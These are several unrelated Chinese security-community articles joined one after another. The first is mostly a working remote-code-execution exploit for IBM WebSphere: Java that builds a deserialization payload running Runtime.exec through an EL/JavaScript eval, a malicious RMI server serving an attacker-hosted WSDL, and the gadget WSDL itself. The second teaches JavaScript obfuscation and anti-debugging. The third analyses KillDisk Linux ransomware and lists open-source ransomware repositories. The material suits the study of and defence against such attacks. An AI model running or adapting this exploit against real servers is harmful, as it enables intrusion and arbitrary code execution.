### 3.2.1 生成WSIFPort_EJB序列化对象
直接看`org.apache.wsif.providers.ejb.WSIFPort_EJB#writeObject`：
这里我们需要首先设置`this.fieldEjbObject`对象并调用其`getHandle`方法，生成一个`Handle`对象。这里的`this.fieldEjbObject`是`EJBObject`接口的具体实现。所以可以自己寻找一个具体实现类，并覆盖其`getHandle`方法。
### 3.2.2 构造EntityHandle对象
构造一个`EntityHandle`对象还是比较麻烦的，我们来理一下：
我们需要将`homeJNDIName`设置为我们自己定义的RMI
Server地址，同时`key`是最终传入`findByPrimaryKey`的参数，需要构造为我们要执行的代码，所以需要构造特殊的`BeanId`对象：
同时为了将之后RMI流程指向`org.apache.wsif.naming.WSIFServiceObjectFactory`，需要我们在`Properties`对象中设置相关的`environment`：
我们首先构造`BeanId`。跟进`com.ibm.ejs.container.BeanId#getJNDIName`：
所以还需要构造`HomeInternal`的具体实现对象，并使其返回`String`类型。
整理一下需要构造的`HomeInternal`对象的需求：
* 构造`J2EEName`对象，满足要求
* 寻找一个`HomeInternal`的具体实现对象，其`getJNDIName`方法返回`String`，且返回不受到`pkey`干扰
查看继承树后，发现`EJSHome`抽象类满足要求：
所以梳理一下思路：
* 实例化`EJSHome`接口实现类
* 实例化`J2EEName`对象
* 反射设置`J2EEName`到`EJSHome`接口实现类
* 反射设置`EJSHome`接口实现类 的`this.jndiName`变量为RMI Server的地址
* 实例化`BeanId`
* 实例化`BeanMetaData`
* 实例化`Properties`
这里重写了`com.ibm.ejs.container.EJSWrapper`：
public Handle getHandle() {
Handle var2 = null;
try {
SessionHome sessionHome = new SessionHome();
J2EEName j2EEName = new J2EENameImpl("aa","aa","aa");
Field j2eeName = EJSHome.class.getDeclaredField("j2eeName");
j2eeName.setAccessible(true);
j2eeName.set(sessionHome,j2EEName);
Field jndiName = sessionHome.getClass().getSuperclass().getDeclaredField("jndiName");
jndiName.setAccessible(true);
jndiName.set(sessionHome,"rmi://127.0.0.1:1099/poc");
Serializable key = "\"a\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('open /Applications/Calculator.app')\")";
//Serializable key = "\"a\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"ifconfig\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")";
BeanId beanId = new BeanId(sessionHome,key,true);
BeanMetaData beanMetaData = new BeanMetaData(1);
beanMetaData.homeInterfaceClass = com.ibm.ws.batch.CounterHome.class;
Properties initProperties = new Properties();
initProperties.setProperty("java.naming.factory.object", "org.apache.wsif.naming.WSIFServiceObjectFactory");
Constructor c = EntityHandle.class.getDeclaredConstructor(BeanId.class, BeanMetaData.class, Properties.class);
c.setAccessible(true);
var2 = (Handle) c.newInstance(beanId, beanMetaData, initProperties);
} catch (Exception e) {
e.printStackTrace();
}
return var2;
}
## 3.3 构造RMI Server绑定
根据2.2.2的分析，我们最终的RMI流程会进行到`org.apache.wsif.naming.WSIFServiceObjectFactory`中：
所以我们需要构造一个恶意的RMI Server，其应该满足以下要求：
* 返回一个`WSIFServiceStubRef`对象
* 指定用于后续调用`WSIF`流程的基础参数：
* `wsdLoc`
* `serviceNS`
* `serviceName`
* `portTypeNS`
* `portTypeName`
* `preferredPort`
* 设置`className`为`com.ibm.ws.batch.CounterHome`
以上有关`WSIF`的参数设置，可以参考2.2.1中的叙述，这里就不再过多重复了。
最终可以构造RMI Server如下：
public class RmiServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1097);
Reference ref = new Reference(WSIFServiceObjectFactory.class.getName(), null, null);
ref.add(new StringRefAddr("wsdlLoc", "http://192.168.211.1:9999/poc.wsdl"));
ref.add(new StringRefAddr("serviceNS", null));
ref.add(new StringRefAddr("serviceName", null));
ref.add(new StringRefAddr("portTypeNS", "http://wsifservice.addressbook/"));
ref.add(new StringRefAddr("portTypeName", "Gadget"));
ref.add(new StringRefAddr("className", "com.ibm.ws.batch.CounterHome"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("poc", referenceWrapper);
}
}
## 3.4 构造WSDL文件
这一部分参考2.2.1中叙述，这里直接给出`wsdl`文件的内容：
<?xml version="1.0" ?>
<definitions targetNamespace="http://wsifservice.addressbook/"
xmlns:tns="http://wsifservice.addressbook/"
xmlns:xsd="http://www.w3.org/1999/XMLSchema"
xmlns:format="http://schemas.xmlsoap.org/wsdl/formatbinding/"
xmlns:java="http://schemas.xmlsoap.org/wsdl/java/"
xmlns="http://schemas.xmlsoap.org/wsdl/">
<!-- type defs -->
<!-- message declns -->
<message name="findByPrimaryKeyRequest">
<part name="el" type="xsd:string"/>
</message>
<message name="findByPrimaryKeyResponse">
<part name="counterObject" type="xsd:object"/>
</message>
<!-- port type declns -->
<portType name="Gadget">
<operation name="findByPrimaryKey">
<input message="findByPrimaryKeyRequest"/>
<output message="findByPrimaryKeyResponse"/>
</operation>
</portType>
<!-- binding declns -->
<binding name="JavaBinding" type="tns:Gadget">
<java:binding/>
<format:typeMapping encoding="Java" style="Java">
<format:typeMap typeName="xsd:string" formatType="java.lang.String"/>
<format:typeMap typeName="xsd:object" formatType="java.lang.Object"/>
</format:typeMapping>
<operation name="findByPrimaryKey">
<java:operation
methodName="eval"
parameterOrder="el"
methodType="instance"
returnPart="counterObject"
/>
</operation>
</binding>
<!-- service decln -->
<service name="GadgetService">
<port name="JavaPort" binding="tns:JavaBinding">
<java:address className="javax.el.ELProcessor"/>
</port>
</service>
</definitions>
## 3.5 整合poc
最后将3.2构造好的`WSIFPort_EJB`序列化对象写入3.1构造好的IIOP请求中：
至此poc构造完毕。
攻击效果如下：
# 0x04 参考
* <https://www.zerodayinitiative.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere>
* <https://www.secrss.com/articles/24353>
* <https://cert.360.cn/report/detail?id=3d016bdef66b8e29936f8cb364f265c8>
* <https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf>
* <https://publib.boulder.ibm.com/tividd/td/ITMFTP/SC32-9412-00/en_US/HTML/arm48.htm>
* <https://publib.boulder.ibm.com/tividd/td/ITMFTP/SC32-9412-00/en_US/HTML/arm48.htm>
* <http://ws.apache.org/wsif/index.html>
* * * | 社区文章 |
**作者：深信服千里目安全实验室**
**原文链接：<https://mp.weixin.qq.com/s/QbfUkU0Fj7Bjk--21H2UQA>**
# 简介
网络爬虫一直以来是让网站维护人员头痛的事情，即要为搜索引擎开方便之门，提升网站排名、广告引入等，又要面对恶意爬虫做出应对措施，避免数据被非法获取，甚至出售。因此促生出爬虫和反爬虫这场旷日持久的战斗。
爬虫的开发从最初的简单脚本到PhantomJs、selenium再进化到puppeteer、playwright等，和浏览器结合越来越密切。
反爬虫的手段从ua、Header检测到IP频率检测再到网站重构、验证码、JS加密等，手段越来越多样。
下表是爬虫攻防手段发展一个简单的对比
阶段 | 攻击 | 防御
---|---|---
1 | 简单脚本编写爬虫，Python、Java等 | 通过检测User-Agent、HTTP Headers来区分是否为机器人
2 | 添加正常浏览器请求头部，伪装成正常用户访问 | 通过检测IP访问频率，分析出短时间出现访问次数异常的IP，进行封禁
3 | 使用IP代理池，秒拨等技术，拥有大量IP | 避免通过HTML访问直接获取数据，进行网站重构，使用Ajax动态传输数据
4 | 分析数据传输接口，直接访问接口获取数据 | 添加验证码、JS参数加密
5 | 深度学习破解验证码、JS调试破解参数加密 | 寻求第三方安全产品
反爬虫的手段到现在已经成体系化了，访问令牌（身份认证）、验证码（滑动、逻辑、三维等）、行为&指纹检测（人机区分）、请求&响应加密等。所有这些功能的实现都是依靠前端JS代码，对于攻击者，如何去绕过反爬虫手段，分析前端JS代码就成为了必经之路。那么JS如何不被破解，也成为了反爬虫的关键。
**本文只探讨JS如何防破解，其它反爬虫手段不展开讨论**
# JS防破解
JS防破解主要客户分为两个部分：`代码混淆`和`反调试`。
## 代码混淆
从代码布局、数据、控制三个方面入手，进行混淆。
#### 布局混淆
常见手段有无效代码删除，常量名、变量名、函数名等标识符混淆等。
##### 无效代码删除
1.注释文本对于理解代码逻辑有很多帮助，生产环境需要删除。
2.调试信息对于开发者调试Bug有很大的帮助，生产环境需要删除。
3.无用函数和数据需要删除，避免攻击者能够猜到开发者意图，和垃圾代码添加不同。
4.缩进、换行符删除，减小代码体积，增加阅读难度。
##### 标识符重命名
1.单字母。还可以是`aa`、`a1`等，需要注意避免作用域内标识符冲突。
var animal = 'shark' //源代码
var a = 'shark' //重命名
2.十六进制。
var animal = 'shark' //源代码
var _0x616e696d616c = 'shark' //重命名
使用十六进制重命名可以衍生到其它方法，但重命名最重要的还要 **使用简短的字符替换所有的标识符，并且作用域内不碰撞，不同作用域尽量碰撞** 。
这种重命名方式对于常量同样有效。
var _$Qo = window , _$Q0 = String, _$Q0O = Array, _$QO = document, _$$Q0O = Date
变量名不同作用碰撞。函数名和函数局部变量碰撞，不用函数内局部变量碰撞，全局变量和局部变量碰撞等等。
function _$QQO(){
var _$QQO,
}
##### 垃圾代码
在源代码中填写大量的垃圾代码达到混淆视听的效果。
#### 数据混淆
常见数据类型混淆有数字、字符串、数组、布尔等。
##### 数字
数字类型混淆主要是进制转换，还有一些利用数学技巧。
var number = 233 //十进制
var number = 0351 //八进制
var number = 0xe9 //十六进制
var number = 0b11101001 //二进制
##### 字符串
字符串的混淆主要是编码。 还有其它的手法，比如拆分字符串，加密字符串然后解密，这里不展开说明。
1.十六进制
var user = 'shark' //混淆前
var user = '\x73\x68\x61\x72\x6b' //十六进制
2.Unicode
var user = 'shark' //混淆前
var user3 = '\u0073\u0068\u0061\u0072\u006b' //unicode编码
3.转数组，把字符串转为字节数组
console.log('s'.charCodeAt(0)) //115
console.log('h'.charCodeAt(0)) //104
console.log('a'.charCodeAt(0)) //97
console.log('r'.charCodeAt(0)) //114
console.log('k'.charCodeAt(0)) //107
console.log(String.fromCharCode(115,104,97,114,107)) //shark
function stringToByte(str){
var bytearr = [];
for(var i =0;i<str.length;i++){
bytearr.push(str.charCodeAt(i));
}
return bytearr
}
stringToByte('shark')
Array(5) [ 115, 104, 97, 114, 107 ]
4.Base64
var user = 'shark'
var user = 'c2hhcms=' //base64编码后
常量编码
'slice' ---> 'c2xpY2U='
还有其它的手法，比如拆分字符串，加密字符串然后解密，这里不展开说明。
##### 数组
数组的混淆主要是元素引用和元素顺序。
var arr = ['log','Date','getTime']
console[arr[0]](new window[arr[1]]()[arr[2]]()) // console.log(new window.Date().getTime())
加入编码后字符串
var arr = ['\u006C\u006F\u0067','\u0044\u0061\u0074\u0065','\u0067\u0065\u0074\u0054\u0069\u006D\u0065']
console[arr[0]](new window[arr[1]]()[arr[2]]()) //同上
在对元素做编码之后，之后进行引用会有一个问题，数组索引和数组元素是一一对应的，这样可以很直观的找出元素。可以进行元素顺序打乱，再通过函数还原。
var arr = ['\u006C\u006F\u0067','\u0044\u0061\u0074\u0065','\u0067\u0065\u0074\u0054\u0069\u006D\u0065']
(function(arr,num){
var shuffer = function(nums) {
while(--nums){
arr.unshift(arr.pop());
}
};
shuffer(++num);
}(arr,0x10)) //打乱数组元素
Array(3) [ "getTime", "log", "Date" ]
console[arr3[1]](new window[arr3[2]]()[arr3[0]]()) //同上
##### 布尔值
主要是使用一些计算来替代`true`和`false`。
undefined //false
null //false
+0、-0、NaN //false
!undefined //true
!null //true
!0 //true
!NaN //true
!"" //true
!{} //true
![] //true
!void(0) //true
#### 控制混淆
通过上面的混淆手段可以把代码混淆的已经很难读了，但是代码的执行流程没有改变，接下来介绍下混淆代码执行流程的方法。
##### 控制流平坦化
代码原始流程是一个线性流程执行，通过平坦化之后会变成一个循环流程进行执行。
> 原流程
> 平坦化流程
function source(){
var a = 1;
var b = a + 10;
var c = b + 20;
var d = c + 30;
var e = d + 40;
return e;
}
console.log(source()); //101
函数内执行流程进行平坦化
switch(seq){
case '1':
var e = d + 40;
continue;
case '2':
var d = c + 30;
continue;
case '3':
var b = a + 10;
continue;
case '4':
var c = b + 20;
continue;
case '5':
var a = 1;
continue;
case '6':
return e;
continue;
}
加上分发器
function controlflow(){
var controlflow_seq = '5|3|4|2|1|6'.split('|'),i = 0
while(!![]){
switch(controlflow_seq[i++]){
case '1':
var e = d + 40;
continue;
case '2':
var d = c + 30;
continue;
case '3':
var b = a + 10;
continue;
case '4':
var c = b + 20;
continue;
case '5':
var a = 1;
continue;
case '6':
return e;
continue;
}
break;
}
}
console.log(controlflow()); //101
上面是一个比较简单示例，平坦化一般有几种表示，`while...switch...case`、`while...if....elesif`。
`while...if...eleseif`的还原难度更高。比如`if(seq == 1)...elseif...`可以优化成`if(seq & 0x10
==1)...elseif...`。
##### 逗号表达式
通过逗号把语句连接在一起，还可以结合括号进行变形。
function source(){
var a = 1;
var b = a + 10;
var c = b + 20;
var d = c + 30;
var e = d + 40;
return e;
}
console.log(source()); //101
function source(){
var a,b,c,d,e;
return a = 1,b = a + 10,c = b + 20,d = c + 30,e = d + 40,e
}
console.log(source());
function source(){
var a,b,c,d,e;
return e = (d = ( c = (b = (a = 1, a+10),b+20),c+30),d+40);
}
console.log(source());
#### 混淆工具
##### 在线混淆
[在线obfuscator混淆网站](https://obfuscator.io/)
能够满足基本混淆的力度，但也要自己调整，否则可能会很耗性能。不过ob的混淆现在网上有很多还原的工具。
##### AST
对Javascript来说，用AST可以按照自己的需求进行混淆，也可以很好的用来解混淆。是一个终极工具。
[AST在线转换](https://astexplorer.net/)，利用这个网站进行AST解析后，再本地使用AST库进行语法树转换、生成。
1.AST处理控制流平坦化
var array = '4|3|8|5|4|0|2|3'.split('|'), index = 0;
while (true) {
switch (array[index++]) {
case '0':
console.log('This is case 0');
continue;
case '1':
console.log('This is case 1');
continue;
case '2':
console.log('This is case 2');
continue;
case '3':
console.log('This is case 3');
continue;
case '4':
console.log('This is case 4');
continue;
case '5':
console.log('This is case 5');
continue;
case '6':
console.log('This is case 6');
continue;
case '7':
console.log('This is case 7');
continue;
case '8':
console.log('This is case 8');
continue;
case '9':
console.log('This is case 9');
continue;
default:
console.log('This is case [default], exit loop.');
}
break;
}
先把上面的代码放到AST网站进行解析生成语法树。
这里使用`babel`进行转换。
还原的思路：先获取分发器生成的顺序，随后把分支语句和条件对应生成case对象，再利用分发器顺序从case对象获取case，最后输出即可。
// 转换为 ast 树
let ast = parser.parse(jscode);
const visitor =
{
WhileStatement(path){
let {body} = path.node;
let switch_statement = body.body[0]; //获取switch的节点
//判断switch结构
if (!types.isSwitchStatement(switch_statement)) {
return;
}
//获取条件表达式和case组合
let { discriminant, cases } = switch_statement;
// 条件表达式进一步进行特征判断
if (!types.isMemberExpression(discriminant) || !types.isUpdateExpression(discriminant.property)) {
return;
}
//获取条件表示引用的变量名，"array"
let array_binding = path.scope.getBinding(discriminant.object.name)
//表达式执行，获取"array"的值，"['4', '3', '8', '5', '4', '0', '2', '3']"
let {confident, value} = array_binding.path.get('init').evaluate()
if (!confident) {
return;
}
let array = value,case_map = {},tmp_array = [];
/**
* 遍历所有case，生成case_map
*/
for (let c of cases){
let {consequent, test} = c;
let test_value;
/**
* case值
*/
if (test){
test_value = test.value;
}
else{
test_value = 'default_case';
}
/**
* 获取所有的case下语句
*/
let statement_array = [];
for (let i of consequent)
{
/**
* 丢弃continue语句
*/
if (types.isContinueStatement(i)) {
continue;
}
statement_array.push(i)
}
case_map[test_value] = statement_array;
}
/**
* 根据array执行顺序拼接case语句
*/
for (let i of array){
tmp_array = tmp_array.concat(case_map[i]);
}
if (case_map.hasOwnProperty('default_case')) {
tmp_array = tmp_array.concat(case_map['default_case'])
}
//替换节点
path.replaceWithMultiple(tmp_array);
/**
* 手动更新scope
*/
path.scope.crawl();
}
}
//调用插件，处理待处理 js ast 树
traverse(ast, visitor);
上面时AST处理的核心代码，转换后如下
var array = '4|3|8|5|4|0|2|3'.split('|'),
index = 0;
console.log('This is case 4');
console.log('This is case 3');
console.log('This is case 8');
console.log('This is case 5');
console.log('This is case 4');
console.log('This is case 0');
console.log('This is case 2');
console.log('This is case 3');
console.log('This is case [default], exit loop.');
当然其它的控制流平坦化也是可以还原的，有兴趣的可以自己探索，有问题可以探讨交流。
## 反调试
代码混淆只能给攻击者增加代码阅读的难度，但是如果进行动态调试分析结合本地静态代码分析还是可以找到代码关键逻辑。那么如何防调试就是很重要的一点。
下面从JS调试的攻防角度做一个统计
攻击手法 | 防御手法
---|---
控制台打开 | 控制台快捷删除，宽度检测
控制台调试器打开 | debugger
控制台输出 | 控制台清空，内置函数重写
控制台打断点 | scope检测、debugger
控制台调用DOM事件 | 堆栈检测
函数、对象属性修改 | 函数防劫持、对象冻结
NodeJS本地调式分析 | 代码格式化检测
### 控制台
#### 打开
删除打开控制台的快捷键阻止控制台打开。
绕过：从菜单启动开发者工具。
window.addEventListener('keydown', function(event){
console.log(event);
if (event.key == "F12" || ((event.ctrlKey || event.altKey) && (event.code == "KeyI" || event.key == "KeyJ" || event.key == "KeyU"))) {
event.preventDefault();
return false;
}
});
window.addEventListener('contextmenu', function(event){
event.preventDefault();
return false;
});
宽度检测判断窗口是否变化。可能会存在误检测的情况，需要注意。
(function () {
'use strict';
const devtools = {
isOpen: false,
orientation: undefined
};
const threshold = 160;
const emitEvent = (isOpen, orientation) => {
let string = "<p>DevTools are " + (isOpen ? "open" : "closed") + "</p>";
console.log(string);
document.write(string);
};
setInterval(() => {
const widthThreshold = window.outerWidth - window.innerWidth > threshold;
const heightThreshold = window.outerHeight - window.innerHeight > threshold;
const orientation = widthThreshold ? 'vertical' : 'horizontal';
if (
!(heightThreshold && widthThreshold) &&
((window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized) || widthThreshold || heightThreshold)
) {
if (!devtools.isOpen || devtools.orientation !== orientation) {
emitEvent(true, orientation);
}
devtools.isOpen = true;
devtools.orientation = orientation;
} else {
console.log(devtools.isOpen);
if (devtools.isOpen) {
emitEvent(false, undefined);
}
devtools.isOpen = false;
devtools.orientation = undefined;
}
}, 500);
if (typeof module !== 'undefined' && module.exports) {
module.exports = devtools;
} else {
window.devtools = devtools;
}
})();
#### 调试器
开发者工具打开之后，需要选择调试器功能进行调试分析。通过设置`debugger`来阻止调试器调试。
1.定时debugger
function debug() {
debugger;
setTimeout(debug, 1);
}
debug();
这种`debugger`会一直停住，对调试影响很大。
2.时间差debugger
addEventListener("load", () => {
var threshold = 500;
const measure = () => {
const start = performance.now();
debugger;
const time = performance.now() - start;
if (time > threshold) {
document.write("<p>DevTools were open since page load</p>");
}
}
setInterval(measure, 300);
});
由于`debugger`会停止使调试器停止，可以通过计算时间差来判断时否打开调试器。还可以单独时间差进行检测，`debugger`放在其它地方。
绕过：借助的调试器的"条件断点"、'"Never pause here"'功能。
#### 输出
清空控制台的打印，可以避免攻击者修改代码打印对象等。
function clear() {
console.clear();
setTimeout(clear, 10);
}
clear();
绕过：对于直接在控制台打印变量没有影响，并且调试时可以直接查看变量。
#### 断点调试
如何去检测攻击者是否在打断点调试，有两种思路，一种是通过时间来检测，另外一种是依靠scope来检测。两种都有各自的问题。
1.时间检测断点调试
var timeSinceLast;
addEventListener("load", () => {
var threshold = 1000;
const measure = () => {
if (!timeSinceLast) {
timeSinceLast = performance.now();
}
const diff = performance.now() - timeSinceLast;
if (diff > threshold) {
document.write("<p>A breakpoint was hit</p>");
}
timeSinceLast = performance.now();
}
setInterval(measure, 300);
});
当页面加载完成时，执行函数，定义一个时间基线，检测代码执行时间差是不是超过时间基线，一旦存在断点，必然会超过时间基线，那么就检出断点调试。但这里有个问题是如果浏览器执行代码的时间差也超过时间基线也会被检出，也就是误检。这种情况出现的机率还挺高，如果业务前端比较复杂（现在一般都是），使用性能不好的浏览器就会出现误检。
2.scope检测
function malicious() {
const detect = (function(){
const dummy = /./;
dummy.toString = () => {
alert('someone is debugging the malicious function!');
return 'SOME_NAME';
};
return dummy;
}());
}
function legit() {
// do a legit action
return 1 + 1;
}
function main() {
legit();
malicious();
}
debugger;
main();
变量在被定义之后，调试器在断点执行的时候获取其scope，从而触发toString函数。浏览器的兼容性是这个方法的缺陷。
#### 事件调用
攻击者经常利用控制台执行事件调用，例如通过获取按钮元素后，点击，提交用户名和密码登录。函数堆栈就可以检测出这种情况。
function test(){
console.log(new Error().stack); //Chrome、Firefox
IE 11
try {
throw new Error('');
} catch (error) {
stack = error.stack || '';
}
console.log(stack);
console.log(1);
}
test()
1.Firefox
2.Chrome
从Firefox和Chrome的结果可以看出来，代码自执行的堆栈和控制台执行的堆栈是不同的。
#### 函数、对象属性修改
攻击者在调试的时，经常会把防护的函数删除，或者把检测数据对象进行篡改。可以检测函数内容，在原型上设置禁止修改。
// eval函数
function eval() {
[native code]
}
//使用eval.toString进行内容匹配”[native code]”，可以轻易饶过
window.eval = function(str){
/*[native code]*/
//[native code]
console.log("[native code]");
};
//对eval.toString进行全匹配，通过重写toString就可以绕过
window.eval = function(str){
//....
};
window.eval.toString = function(){
return `function eval() {
[native code]
}`
};
//检测eval.toString和eval的原型
function hijacked(fun){
return "prototype" in fun || fun.toString().replace(/\n|\s/g, "") != "function"+fun.name+"(){[nativecode]}";
}
//设置函数属性之后，无法被修改
Object.defineProperty(window, 'eval', {
writable: false,configurable: false,enumerable: true
});
### NodeJS调试
攻击者在本地分析调试时需要把代码进行格式化后才能够分析。
//格式化后
function y() {
var t = (function() {
var B = !![];
return function(W, i) {
var F = B ? function() {
if (i) {
var g = i['apply'](W, arguments);
i = null;
return g;
}
} : function() {};
B = ![];
return F;
};
}());
var l = t(this, function() {
return l['toString']()['search']('(((.+)+)+)+$')['toString']()['constructor'](l)['search']('(((.+)+)+)+$');
});
l();
console['log']('aaaa');
console['log']('ccc');
};
y();
function Y() {
console['log']('bbbbb');
};
Y();
//格式化前
function y(){var t=(function(){var B=!;
执行格式化后的代码会出现递归爆炸的情况，因为匹配了换行符。
# 结语
本文只列举了一些常见的前端JS防破解手段，还有一些更高级的手段，例如：自定义编译器、WebAssembly、浏览器特性挖掘等。结合自身的业务合理的使用代码混淆和反调试手法，来保证业务不被恶意分析，避免遭到爬虫的危害。
* * * | 社区文章 |
### 一、起因
在逛bleepingcomputer时，发现一个有趣的文章，链接：[<https://www.bleepingcomputer.com/news/security/killdisk-ransomware-now-targets-linux-prevents-boot-up-has-faulty-encryption/>
顿时又勾起了我分析样本的欲望，其实很早之前我就分析过多款勒索类的软件，但都是基于window/Android等平台的，也接触过osx的一款开源勒索软件，对于Linux平台的勒索软件还没玩过，同时这款样本，还会修改系统grub，导致开机异常，作为一名安全人员，好奇心使然，我必须得弄明白它的原理以及攻击手法，通过上面的文章，我就找到下面一篇文章：<http://www.welivesecurity.com/2017/01/05/killdisk-now-targeting-linux-demands-250k-ransom-cant-decrypt/>
，样本是由ESET发现的，上面提供了样本的HASH值:8F43BDF6C2F926C160A65CBCDD4C4738A3745C0C，google搜了一大圈，没有找到下载链接，好可惜，于是在自己的安全研究群里问了以前的同事和朋友，还好前同事有VT帐号，给我下载了样本，于是就有了下面的一篇文章，也正好趁这个机会跟大家一起学习了解一下2016年比较热门的勒索软件，谈谈自己的一些经验！本人主要从事安全研究方面的工作，不限平台（window/linux/andrid/ios/osx,以及各种IoT智能设备等），有兴趣的可以相互交流学习，有不对的地方，请大牛们多多指教！
### 二、样本简介
KillDisk是一款之前比较有名的恶意软件，是由BlackEnergy组织攻击乌克兰电网以及新闻银行等系统的恶意软件，有要用于清除系统扇区，删除重要的系统文件，对特定类型的文件内容进行覆盖，结束系统进程等，不清楚的可以去查阅相关资料以及报告，就不过多介绍了，我这次主要分析的是基于Linux平台的KillDisk变种的勒索样本，其实之前也有人发现过Linux平台的勒索样本，大致手法都差不多，它会遍历系统多个目录下的各种文件，并进行加密，但这款样本同时会修改Linux系统的grub，导致系统开机异常，启动的时候，界面会弹出勒索信息，要求你支付BTC进行解锁，属于典型的勒索类恶意样本，样本采用的加密算法为三重DES加密算法，每个密钥都是随机生成的，所以无解。
### 三、详细分析
首先查看文件类型，如下：
[
从图中我们可以得知，此样本为linux64位可执行程序，通过ida反编译程序，发现程序未加密，未加壳，main函数如下：
[
动态跟踪到main函数，如下所示：
[
样本首先为利用daemon函数创建一个单独的Linux守护进程执行恶意代码，参数为0,0，如下所示：
[
动态调试main函数，创建daemon守护进程如下：
[
创建完守护进程之后，然后通过print_bnr修改Linux的grub项，导致系统bootloader启动发生异常，如下所示：
[
动态跟踪到print_bnr函数之后，如下所示：
[
函数拼接相应的字符串，做为grub启动项菜单显示，拼接字符串过程如下：
[
然后判断系统目录下的/etc/default/grub启动项文件是否存在，如果存在，则修改/boot/grub/menu.lst文件或者修改/boot/loader.rc配置文件（主要是为了兼容一些老的或其它各种类型的Linux系统版本），在一些新的Linux版本下已经没有上面的这些启动文件了，修改完成之后，只需要修改/etc/grub.d/40_custom这个启动项文件即可，写入的文件内容,如下所示：
[
然后遍历/etc/grub.d目录，将不是40_custom的文件全部删除，因为修改了grub启动项，需要执行update-grub命令，如下所示：
[
现在勒索样本已经成功修改了Linux系统的grub启动项，当系统重启之后，bootloader会显示我们刚刚写入的字符串菜单项，如下所示：
[
完成了grub的改写之后，后面的主要工作就是加密系统各个目录下的文件了，具体通过如下两个函数进行完成，加密工作完成之后，重启操作系统，进行勒索，如下所示：
[
第一个加密函数，会对如下11个目录的文件进行加密，目录列表如下：
/boot
/bin
/sbin
/lib/security
/lib64/security
/usr/local/etc
/etc
/mnt
/share
/media
/home
第二个加密函数，会对如下5个目录的文件进行加密，目录列表如下：
/usr
/tmp
/opt
/var
/root
由于两次使用的加密函数都是一样的，我们下面重点分析一下，它的加密过程，以及运用了哪些加密算法，加密函数如下：
[
跟踪进入到bypass_dir函数，如下所示：
[
动态跟踪入进加密函数，加密/boot目录的文件，如下所示：
[
这个就和window上的目录遍历差不多了，当遍历到grub启动项文件时，则跳过，如果不是启动文件进调用crypt_file函数进行加密，crypt_file函数如下所示：
[
加密函数首先通过gen_key函数，生成三个密钥key,gen_key函数如下所示：
[
从代码可以看出，生成的三个密钥，对于每个文件来说都是随机生成的，然后对每个文件内容分成文件块加密，每个文件块的大小为4096字节，加密函数分别为crypt_all,crypt_10mb,crypt_1mb这三个函数，从代码分析，可以得出这三个函数使用的加密算法最后都是一样的，如下所示：
[
通过分析my_ecb_crypt函数，我们可以得知，使用的加密算法为三重DES加密算法，三个密钥都是之前随机生成的，如下所示：
[
加密完成之后，可以看到所有的文件都已经被加密了，如下所示：
[
从上面的分析可以得出，勒索软件使用了三重DES加密算法，且对应的每个文件都是按照4096大小的文件块进行加密，文件加密密钥都是随机生成的，因此根本无法解密文件，就算你按照它上面的要求给了BTC，这类勒索软件真是坑人，真够黑的，太不道德了，盗亦有盗呢？
### 四、总结
好了，样本分析完了，再说说自己对勒索类样本的一点个人看法和经验，最近几年勒索软件是越来越流行，各大安全公司也在积极应对，同时随着各种物联网设备的兴起，可能以后会越来越多有针对物联网相关的勒索软件，反正只有要利益的地方，就一定有黑产，前段时间就有报道一款TV设备受到了勒索软件的攻击，以及之前DEFCON上演示的一款智能温控系统被勒索软件攻击等，IoT设备正在成为勒索软件的攻击目标！从15年开始我就分析过几款勒索软件，16年成为了勒索软件的曝发期，大量的勒索样本不断出现，不断变种，之前这些软件主要的攻击对象是PC平台，以及后面随着移动互联网时代的兴起，安卓手机也成为了勒索类软件攻击的主要目标，记得当时分析完Android
FBI勒索样本之后，我又自己实现了一遍源代码，还蛮好玩的，这一两年各大安全公司都在花式炫耀自己捕获的各种平台下的勒索软件，如Maktub,Locker,Petya,Locky,NanoLocker,CryptoLocker,Ransomceber,PadCrypt,SkidLocker,KeyRanger,KillDisk,FsocietyLocker,Zepto,DMA
Locker,Chimera,PowerWare,Tesalcrypt,Linux.Encoder.1等以及它们的变种，其实这些勒索样本都还比较容易实现，技术手段也都不太高明，从PC平台端的勒索从简单的加解密文件，到后面发展到修改mbr，然后进行磁盘加密，再到后面以Android/Linux平台为主等等，在未来随着云以及IoT时代的到来，勒索类软件会更多的向各种不同的平台进行变种，迁移，同时可能会针对相应的数据库进行加密勒索，做为安全研究人员，必须时刻保持清醒，同这些恶意软件进行斗争，寻找更有效的安全解决方案。
下面给大家介绍几款开源的勒索软件，供大家参考研学习： <https://github.com/eyecatchup/Critroni-php>
<https://github.com/PanagiotisDrakatos/JavaRansomware>
<https://github.com/NTNUCIC/ransomware>
<https://github.com/Monkey-D-Groot/Ransomware>
<https://github.com/gdbinit/gopher>
<https://github.com/NullArray/Cypher>
<https://github.com/qnighy/ransomware-demo>
<https://github.com/alextspy/Ransomware>
<https://github.com/CHRISTOPHERDIEHL/Ransomware>
<https://github.com/ultra723/ransomware>
<https://github.com/tfairane/AndroMalware>
<https://github.com/AlphaDelta/DUMB>
<https://github.com/mymortal/Ransomware>
<https://github.com/brucecio9999/CryptoWire-Advanced-AutoIt-ransomware-Project>
<https://github.com/lucdew/goransomware>
<https://github.com/zongyuwu/RansomRB>
<https://github.com/SadFud/GG-Ransomware>
<https://github.com/marcosValle/RansPy>
从上面的开源代码可以看出，勒索类的软件已经运作在了各个平台，以及可以使用各种不同的语言进行编写:C/C++,Java,JavaScript,Python,Go,C#,VB.Net,PHP,Ruby等，随着各类勒索软件的开源，使得各类勒索软件变种越来越多，用户防不胜防，这种勒索软件本身的技术含量可能不高，但确实对用户伤害最大的，如果用户相应的重要文档没有及时备份，用户的损失还是比较大的，目前还没有用效的方法应对这种勒索软件，要应对这类软件，就需要我们具有良好的上网习惯，以及对重要文件进行定期备份处理，以防患于未然。
### 五、样本的发展趋势预测
